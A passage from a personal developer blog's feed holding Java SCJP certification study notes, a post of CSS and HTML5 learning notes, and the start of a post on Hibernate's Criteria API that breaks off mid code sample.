&lt;li&gt;The REFERENCE Type decides which overloaded method is being
called.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Overriding - Instance Type (Runtime)&lt;/li&gt;
&lt;li&gt;Overloading - reference Type (Compile Time)&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="11" type="1"&gt;
&lt;li&gt;Refer to Overloaded and Overriden Method Invocations&lt;/li&gt;
&lt;li&gt;Refer to Difference between Overloaded and Overriden methods&lt;/li&gt;
&lt;li&gt;Watch out for methods with same as the class but with a return type.
They are not constructors&lt;/li&gt;
&lt;li&gt;If a constructor with arguments is created, a no-arg constructor
will NOT be created by default&lt;/li&gt;
&lt;li&gt;Abstract classes can have Constructors and are always called when
the subclass is instantiated. Interfaces DO NOT have constructors&lt;/li&gt;
&lt;li&gt;A constructor can be called only by another constructor using
super() or this(), it cannot be called by any other method&lt;/li&gt;
&lt;li&gt;A default constructor has the same access modifier as the class, a
super() call in the first line and is of no-arg type&lt;/li&gt;
&lt;li&gt;If the super class does not have a no-arg constructor, we HAVE to
provide the super() call correctly (Compilation Error)&lt;/li&gt;
&lt;li&gt;A constructor cannot be overriden but can be overloaded, but only
within the same class as it is NOT inherited&lt;/li&gt;
&lt;li&gt;A constructor can have only a call to super() or this() and it
should be there in the first line&lt;/li&gt;
&lt;li&gt;For return values, it can be a value which can be IMPLICITLY cast
into the return type (short for an int return type) and a sub class type
can be returned for a super class return type&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-6"&gt;Chapter 6&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Refer to String Object Creation count&lt;/li&gt;
&lt;li&gt;&lt;code&gt;String.charAt(index)&lt;/code&gt; is zero based&lt;/li&gt;
&lt;li&gt;Arrays has an ATTRIBUTE length while String has a method
length()&lt;/li&gt;
&lt;li&gt;&lt;code&gt;String.substring&lt;/code&gt; (the String word in the method is in
lowercase) has (start,end). Start is zero-indexed and End is
1-indexed&lt;/li&gt;
&lt;li&gt;StringBuffer are ideal for file I/O for handling large streams of
data&lt;/li&gt;
&lt;li&gt;StringBuffer methods are Synchronized&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StringBuffer.insert(offset,String)&lt;/code&gt;. Offset is
Zero-indexed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;abs&lt;/code&gt; method has all four numerical types as
arguments&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ceil&lt;/code&gt; and &lt;code&gt;floor&lt;/code&gt; takes only a double and
returns a double&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max&lt;/code&gt; and &lt;code&gt;min&lt;/code&gt; takes all four types of
arguments but arg1 and arg2 should be of the same type. However for
arguments, they are implicitly CAST. Eg: &lt;code&gt;Math.max(23.5, 3)&lt;/code&gt;
or &lt;code&gt;Math.max(a,b)&lt;/code&gt; where a is int and b is float&lt;/li&gt;
&lt;li&gt;&lt;code&gt;random&lt;/code&gt; generates a number between 0.0 &amp;lt;= x &amp;lt;
1.0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;round&lt;/code&gt; takes a float or double and returns a int or
long&lt;/li&gt;
&lt;li&gt;sin,cos, tan and SQRT takes only double (radians) and returns a
double&lt;/li&gt;
&lt;li&gt;&lt;code&gt;toDegree&lt;/code&gt; and &lt;code&gt;toRadian&lt;/code&gt; takes and returns a
double&lt;/li&gt;
&lt;li&gt;Refer to Important static Math methods&lt;/li&gt;
&lt;li&gt;Wrapper classes Float and Double has POSITIVE_INFINITY and
NEGATIVE_INFINITY&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Double.isNAN(x)&lt;/code&gt; is used for testing numbers&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Math.sqrt(-16d)&lt;/code&gt; results in NaN&lt;/li&gt;
&lt;li&gt;divide by 0 for floating point number works while for integers gives
ArithmeticException&lt;/li&gt;
&lt;li&gt;Refer to Wrapper Class Constructor Arguments&lt;/li&gt;
&lt;li&gt;&lt;code&gt;valueOf&lt;/code&gt; is present for Integer, Long,Byte and Short and
is used as &lt;code&gt;Integer.valueOf("1001101", 2) =&amp;gt; 43&lt;/code&gt;. i.e.,
takes two arguments String and radix and returns a WRAPPER class&lt;/li&gt;
&lt;li&gt;&lt;code&gt;intValue&lt;/code&gt; and &lt;code&gt;parseInt&lt;/code&gt; returns a primitive
number&lt;/li&gt;
&lt;li&gt;Refer to Wrapper Conversion Methods (Important)&lt;/li&gt;
&lt;li&gt;The 3 types of toString usages are:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;obj.toString()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Double.toString(3.3d)&lt;/code&gt; (All wrapper class has this
except Boolean and Character)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Long.toString(254,16)&lt;/code&gt; =&amp;gt; fe (Integer and Long)&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="25" type="1"&gt;
&lt;li&gt;Integer and Long has these methods also.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Integer.toBinaryString(), toHexString() and toOctalString()&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="26" type="1"&gt;
&lt;li&gt;Watch out for usage of StringBuffer methods like append(), reverse(0
on string Objects which leads to Compilation Error&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Continued in &lt;a href="aceing-scjp-notes-from-kathy-sierra-prep-book-part-2"&gt;Part
2&lt;/a&gt;&lt;/p&gt;</content><category term="Software-Engineering"/><category term="java"/><category term="certification"/><category term="library"/><category term="coding"/><category term="development"/><category term="scjp"/><category term="kathy"/><category term="sierra"/></entry><entry><title>Learning basics of CSS and quick notes</title><link href="https://sengopal.me/posts/learning-basics-of-css-and-quick-notes" rel="alternate"/><published>2008-09-03T00:00:00-07:00</published><updated>2008-09-03T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2008-09-03:/posts/learning-basics-of-css-and-quick-notes</id><summary type="html">The following are some of the important points that i had gathered during my learning of CSS and HTML markup. It also contains the important factors to consider when converting a given PSD or image into a good HTML markup and CSS.</summary><content type="html">&lt;p&gt;The following are some of the important points that i had gathered
during my learning of CSS and HTML markup. It also contains the
important factors to consider when converting a given PSD or image into
a good HTML markup and CSS.&lt;/p&gt;
&lt;h3 id="slicing-techniques"&gt;Slicing techniques&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Do not slice the logo&lt;/li&gt;
&lt;li&gt;Figure out the gradient for repeating along the x -axis&lt;/li&gt;
&lt;li&gt;Dont start with the slice tool from the toolbar&lt;/li&gt;
&lt;li&gt;Always design with a wrapper div - for a row or a column - to be
enclosed as a container tag&lt;/li&gt;
&lt;li&gt;Decide upon only one type of slicing for a given layout - for the
wrapper divs and then perform the slicing&lt;/li&gt;
&lt;li&gt;First horizontal - because the flow goes from right to left&lt;/li&gt;
&lt;li&gt;After selecting the slice, divide the slice and give the number of
dividers you would need&lt;/li&gt;
&lt;li&gt;Save for Web and Devices - Gif and PNG for transparent ones&lt;/li&gt;
&lt;li&gt;Quality generally set up as 75-85%&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="remember"&gt;Remember&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;height, width, padding, margin, float - main important
properties&lt;/li&gt;
&lt;li&gt;use the following (or use a reset)&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;body{&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;padding&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt;&lt;span class="dv"&gt;0&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;margin&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt;&lt;span class="dv"&gt;0&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="3" type="1"&gt;
&lt;li&gt;Give Wrapper &lt;code&gt;margin:auto;&lt;/code&gt; to make the whole container
centered&lt;/li&gt;
&lt;li&gt;Give fixed width and height to get the margin auto to work
properly&lt;/li&gt;
&lt;li&gt;Div dimensions: width + margin + padding + border&lt;/li&gt;
&lt;li&gt;Whenever u are adding a padding or margin, adjust the width or
height appropriately&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;margin:auto;&lt;/code&gt; to center the div within the
container&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\#nav ul{ margin:0; padding:0;}&lt;/code&gt; - remember for every UL
block or use a reset&lt;/li&gt;
&lt;li&gt;Always use &lt;code&gt;ul{list-style-type: none;}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Give &lt;code&gt;li{display:block}&lt;/code&gt; and provide width &amp;amp; height
to get a BUTTON look and feel&lt;/li&gt;
&lt;li&gt;For vertical nav bar, when absolute position is used, use negative
margin-left and margin-top of size half of the width and height of the
div.&lt;/li&gt;
&lt;li&gt;Always the target browsers and supported resolutions needs to be
decided&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="media-queries"&gt;Media Queries&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Change float to normal using the height/width/float properties for
changing screen size&lt;/li&gt;
&lt;li&gt;Always use &lt;code&gt;margin,padding:0&lt;/code&gt; - for reset&lt;/li&gt;
&lt;li&gt;Types of layouts - pure fluid / pure display oriented / hybrid ..
Fluid Layout … system of relative layout instead of absolute pixels …
height/width - only in percentages&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;.. Adaptive Layout … using the &lt;span class="citation" data-cites="media"&gt;(&lt;strong&gt;media?&lt;/strong&gt;)&lt;/span&gt; tags&lt;/p&gt;
&lt;p&gt;.. Responsive Layout … Mix of Fluid and adaptive layouts. PERCENTAGE
+ Media Tags&lt;/p&gt;
&lt;ol start="4" type="1"&gt;
&lt;li&gt;New way of setting the media value [source,html]&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;        &amp;lt;meta name="viewport" content="initial-scale=1,width=device-width"&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="5" type="1"&gt;
&lt;li&gt;Media query representation&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb3"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb3-1"&gt;&lt;a aria-hidden="true" href="#cb3-1" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="im"&gt;@media&lt;/span&gt; &lt;span class="an"&gt;screen&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="fu"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;max-width&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt; &lt;span class="dv"&gt;980&lt;/span&gt;&lt;span class="dt"&gt;px&lt;/span&gt;&lt;span class="fu"&gt;)&lt;/span&gt;{&lt;/span&gt;
&lt;span id="cb3-2"&gt;&lt;a aria-hidden="true" href="#cb3-2" tabindex="-1"&gt;&lt;/a&gt;            ....&lt;/span&gt;
&lt;span id="cb3-3"&gt;&lt;a aria-hidden="true" href="#cb3-3" tabindex="-1"&gt;&lt;/a&gt;        }&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="6" type="1"&gt;
&lt;li&gt;Always create the smallest resolution first&lt;/li&gt;
&lt;li&gt;Try to use different images with different srcs to cater to
different sizes&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="types-of-selectors"&gt;Types of Selectors&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Tag&lt;/li&gt;
&lt;li&gt;Class&lt;/li&gt;
&lt;li&gt;Pseudo-element &lt;code&gt;[first-line, first-character]&lt;/code&gt; &lt;em&gt;This
is the LEAST important selector&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Contextual/Conditional - selective styling -
&lt;code&gt;p strong{}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Group/Compound selector - more than 1 tag&lt;/li&gt;
&lt;li&gt;Pseudo-class &lt;code&gt;[link,active,hover,visited]&lt;/code&gt; - &lt;em&gt;MORE
important than the other pseudo-element&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;ID Selector&lt;/li&gt;
&lt;li&gt;when to use id vs class? .. Use Class references with Less weightage
.. Use the TAG selectors first&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="selectors-precedence"&gt;Selectors Precedence&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;The precedence for any style flows as :
&lt;code&gt;inline &amp;gt; Embedded &amp;gt; External&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The precedence for any selector: id &amp;gt; class &amp;gt; tag&lt;/li&gt;
&lt;li&gt;For more details, refer to&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;http://www.w3.org/TR/CSS21/cascade.html#specificity[Specificity]&lt;/li&gt;
&lt;li&gt;http://www.w3.org/TR/CSS2/selector.html[Selector]&lt;/li&gt;
&lt;li&gt;http://css-tricks.com/specifics-on-css-specificity/[CSS Tricks]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="hierarchy-of-precedence"&gt;Hierarchy of precedence&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;The ID selector&lt;/li&gt;
&lt;li&gt;The attribute selector&lt;/li&gt;
&lt;li&gt;The class selector&lt;/li&gt;
&lt;li&gt;The child selector&lt;/li&gt;
&lt;li&gt;The adjacent sibling selector - &lt;code&gt;.blog-img + p&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The descendant selector&lt;/li&gt;
&lt;li&gt;The tag selector&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="shorthand-syntax"&gt;Shorthand syntax&lt;/h3&gt;
&lt;p&gt;###= background&lt;/p&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;    background&lt;span class="in"&gt;:&lt;/span&gt; url&lt;span class="in"&gt;(&lt;/span&gt;example&lt;span class="fu"&gt;.gif&lt;/span&gt;&lt;span class="in"&gt;)&lt;/span&gt;;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;    background-color&lt;span class="in"&gt;:&lt;/span&gt; &lt;span class="pp"&gt;#eaeaea&lt;/span&gt; ;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;    background-repeat&lt;span class="in"&gt;:&lt;/span&gt; repeat-x;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;    background-position&lt;span class="in"&gt;:&lt;/span&gt; top left;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;can be written as:&lt;/p&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;background&lt;span class="in"&gt;:&lt;/span&gt; &lt;span class="pp"&gt;#eaeaea&lt;/span&gt; url&lt;span class="in"&gt;(&lt;/span&gt;example&lt;span class="fu"&gt;.gif&lt;/span&gt;&lt;span class="in"&gt;)&lt;/span&gt; repeat-x top left;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;###= border&lt;/p&gt;
&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;    border-color&lt;span class="in"&gt;:&lt;/span&gt; red;&lt;/span&gt;
&lt;span id="cb6-2"&gt;&lt;a aria-hidden="true" href="#cb6-2" tabindex="-1"&gt;&lt;/a&gt;    border-width&lt;span class="in"&gt;:&lt;/span&gt; 1px;&lt;/span&gt;
&lt;span id="cb6-3"&gt;&lt;a aria-hidden="true" href="#cb6-3" tabindex="-1"&gt;&lt;/a&gt;    border-style&lt;span class="in"&gt;:&lt;/span&gt; solid;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;can be written as:&lt;/p&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;border&lt;span class="in"&gt;:&lt;/span&gt; 1px solid red;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;###= list&lt;/p&gt;
&lt;div class="sourceCode" id="cb8"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb8-1"&gt;&lt;a aria-hidden="true" href="#cb8-1" tabindex="-1"&gt;&lt;/a&gt;    list-style-position&lt;span class="in"&gt;:&lt;/span&gt; outside;&lt;/span&gt;
&lt;span id="cb8-2"&gt;&lt;a aria-hidden="true" href="#cb8-2" tabindex="-1"&gt;&lt;/a&gt;    list-style-image&lt;span class="in"&gt;:&lt;/span&gt; none;&lt;/span&gt;
&lt;span id="cb8-3"&gt;&lt;a aria-hidden="true" href="#cb8-3" tabindex="-1"&gt;&lt;/a&gt;    list-style-type&lt;span class="in"&gt;:&lt;/span&gt; disc;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;can be written as:&lt;/p&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;list-style&lt;span class="in"&gt;:&lt;/span&gt; disc outside;`&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;the general format for a list style is:&lt;/p&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;list-style&lt;span class="in"&gt;:&lt;/span&gt; &lt;span class="ex"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;list-style-type&lt;/span&gt;&lt;span class="ex"&gt;]&lt;/span&gt; &lt;span class="ex"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;list-style-position&lt;/span&gt;&lt;span class="ex"&gt;]&lt;/span&gt; &lt;span class="ex"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;list-style-image&lt;/span&gt;&lt;span class="ex"&gt;]&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h6 id="font"&gt;font&lt;/h6&gt;
&lt;div class="sourceCode" id="cb11"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb11-1"&gt;&lt;a aria-hidden="true" href="#cb11-1" tabindex="-1"&gt;&lt;/a&gt;    font-family&lt;span class="in"&gt;:&lt;/span&gt; Arial&lt;span class="op"&gt;,&lt;/span&gt; Helvetica;&lt;/span&gt;
&lt;span id="cb11-2"&gt;&lt;a aria-hidden="true" href="#cb11-2" tabindex="-1"&gt;&lt;/a&gt;    font-weight&lt;span class="in"&gt;:&lt;/span&gt; bold;&lt;/span&gt;
&lt;span id="cb11-3"&gt;&lt;a aria-hidden="true" href="#cb11-3" tabindex="-1"&gt;&lt;/a&gt;    font-style&lt;span class="in"&gt;:&lt;/span&gt; italic;&lt;/span&gt;
&lt;span id="cb11-4"&gt;&lt;a aria-hidden="true" href="#cb11-4" tabindex="-1"&gt;&lt;/a&gt;    font-size&lt;span class="in"&gt;:&lt;/span&gt; 1em;&lt;/span&gt;
&lt;span id="cb11-5"&gt;&lt;a aria-hidden="true" href="#cb11-5" tabindex="-1"&gt;&lt;/a&gt;    line-height&lt;span class="in"&gt;:&lt;/span&gt; 1&lt;span class="fu"&gt;.5em&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;can be written as:&lt;/p&gt;
&lt;div class="sourceCode" id="cb12"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb12-1"&gt;&lt;a aria-hidden="true" href="#cb12-1" tabindex="-1"&gt;&lt;/a&gt;font&lt;span class="in"&gt;:&lt;/span&gt; bold italic 1em/1&lt;span class="fu"&gt;.5em&lt;/span&gt; Arial&lt;span class="op"&gt;,&lt;/span&gt; Helvetica;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;###= margin The margin properties allows a shorthand for margin-top,
margin-right, margin-bottom and margin-left.&lt;/p&gt;
&lt;div class="sourceCode" id="cb13"&gt;&lt;pre class="sourceCode css"&gt;&lt;code class="sourceCode css"&gt;&lt;span id="cb13-1"&gt;&lt;a aria-hidden="true" href="#cb13-1" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="co"&gt;/* top=10px, right=5px, bottom=15px, left=20px */&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-2"&gt;&lt;a aria-hidden="true" href="#cb13-2" tabindex="-1"&gt;&lt;/a&gt;    margin&lt;span class="in"&gt;:&lt;/span&gt; 10px 5px 15px 20px;&lt;/span&gt;
&lt;span id="cb13-3"&gt;&lt;a aria-hidden="true" href="#cb13-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb13-4"&gt;&lt;a aria-hidden="true" href="#cb13-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="co"&gt;/* top=10px, right=5px, bottom=10px, left=5px*/&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-5"&gt;&lt;a aria-hidden="true" href="#cb13-5" tabindex="-1"&gt;&lt;/a&gt;    margin&lt;span class="in"&gt;:&lt;/span&gt; 10px 5px;&lt;/span&gt;
&lt;span id="cb13-6"&gt;&lt;a aria-hidden="true" href="#cb13-6" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb13-7"&gt;&lt;a aria-hidden="true" href="#cb13-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="co"&gt;/* top=10px, right=5px, bottom=15px, left=5px*/&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-8"&gt;&lt;a aria-hidden="true" href="#cb13-8" tabindex="-1"&gt;&lt;/a&gt;    margin&lt;span class="in"&gt;:&lt;/span&gt; 10px 5px 15px;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="form-features-in-html5"&gt;Form features in HTML5&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Placeholder text&lt;/li&gt;
&lt;li&gt;Slider control&lt;/li&gt;
&lt;li&gt;Calendar/Date picker&lt;/li&gt;
&lt;li&gt;autocomplete&lt;/li&gt;
&lt;li&gt;Input type Search&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="css-features-in-html5"&gt;CSS features in HTML5&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Shadow - box shadow, text shadow&lt;/li&gt;
&lt;li&gt;Gradient&lt;/li&gt;
&lt;li&gt;Blur&lt;/li&gt;
&lt;li&gt;column text&lt;/li&gt;
&lt;li&gt;transform / transitions&lt;/li&gt;
&lt;li&gt;Rounded corners (using border radius)&lt;/li&gt;
&lt;li&gt;CSS Regions&lt;/li&gt;
&lt;li&gt;Exclusions&lt;/li&gt;
&lt;li&gt;Shaders&lt;/li&gt;
&lt;li&gt;Shadow DOM&lt;/li&gt;
&lt;li&gt;Multiple Images in background&lt;/li&gt;
&lt;li&gt;Alpha&lt;/li&gt;
&lt;li&gt;Font-faces&lt;/li&gt;
&lt;li&gt;Animation using Keyframes&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Position:fixed or other positioning important for animations to
work&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="new-tags-in-html5"&gt;New Tags in HTML5&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;New semantic tags - header, footer, nav, section, aside,
article&lt;/li&gt;
&lt;li&gt;Multimedia tags - audio/sound,video&lt;/li&gt;
&lt;li&gt;Drawing based tags - canvas, svg&lt;/li&gt;
&lt;li&gt;Form based new tags - Date, slider, time, spinner&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="important-links"&gt;Important Links&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;a href="http://css3generator.com/"&gt;Css3Generator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://meyerweb.com/eric/tools/css/reset/"&gt;Reset&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vandelaydesign.com/blog/design/resources-grid-based-design/"&gt;Grid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/"&gt;IE
support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aFarkas/html5shiv"&gt;html5shiv&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://modernizr.com/"&gt;modernizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://html5boilerplate.com/"&gt;html5boilerplate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://html.adobe.com/edge/inspect/"&gt;Adobe Inspect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://brackets.io/"&gt;Brackets&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="Software-Engineering"/><category term="web"/><category term="css"/><category term="frontend"/><category term="coding"/><category term="development"/></entry><entry><title>Criteria API in Hibernate</title><link href="https://sengopal.me/posts/criteria-api-in-hibernate" rel="alternate"/><published>2008-05-30T00:00:00-07:00</published><updated>2008-05-30T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2008-05-30:/posts/criteria-api-in-hibernate</id><summary type="html">A post about the Criteria API available as part of the Hibernate API. This post also explores how to use the API perform SQL operations in a more object oriented manner.</summary><content type="html">&lt;h3 id="drawbacks-of-hql"&gt;Drawbacks of HQL&lt;/h3&gt;
&lt;p&gt;Currently HQL (Hibernate Query Language) is used widely to query data
using Hibernate. However, there are many drawbacks such as:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;SQL-like syntax and Non Extensible&lt;/li&gt;
&lt;li&gt;Relational methodology instead of OO methodology&lt;/li&gt;
&lt;li&gt;Problem in creating search queries on the fly&lt;/li&gt;
&lt;li&gt;Complexity increases with number of variable conditions&lt;/li&gt;
&lt;li&gt;Error-prone String concatenation&lt;/li&gt;
&lt;li&gt;Direct use of query parameters in the query string&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A sample usage for HQL Query:&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;String&lt;/span&gt; query &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="st"&gt;"select o from Order as o join o.products as p where o.priceTotal &amp;gt; :priceTotalLower and o.priceTotal &amp;lt; :priceTotalUpper"&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;           &lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;Query&lt;/span&gt; q &lt;span class="op"&gt;=&lt;/span&gt; sess&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createQuery&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;query&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
